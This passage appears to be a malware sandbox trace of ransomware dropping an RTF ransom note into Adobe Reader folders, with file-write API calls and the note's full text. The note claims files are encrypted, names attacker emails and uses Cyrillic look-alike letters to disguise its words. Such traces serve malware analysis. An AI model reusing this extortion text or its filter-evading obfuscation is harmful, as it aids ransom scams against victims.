lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\no", lpUsedDefaultChar=0x0) returned 14086 [0040.889] WriteFile (in: hFile=0x1d4, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0040.890] CloseHandle (hObject=0x1d4) returned 1 [0040.891] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\services\\!bwng_info!.rtf")) returned 0xffffffff [0040.891] GetLastError () returned 0x2 [0040.891] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\services\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0040.891] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 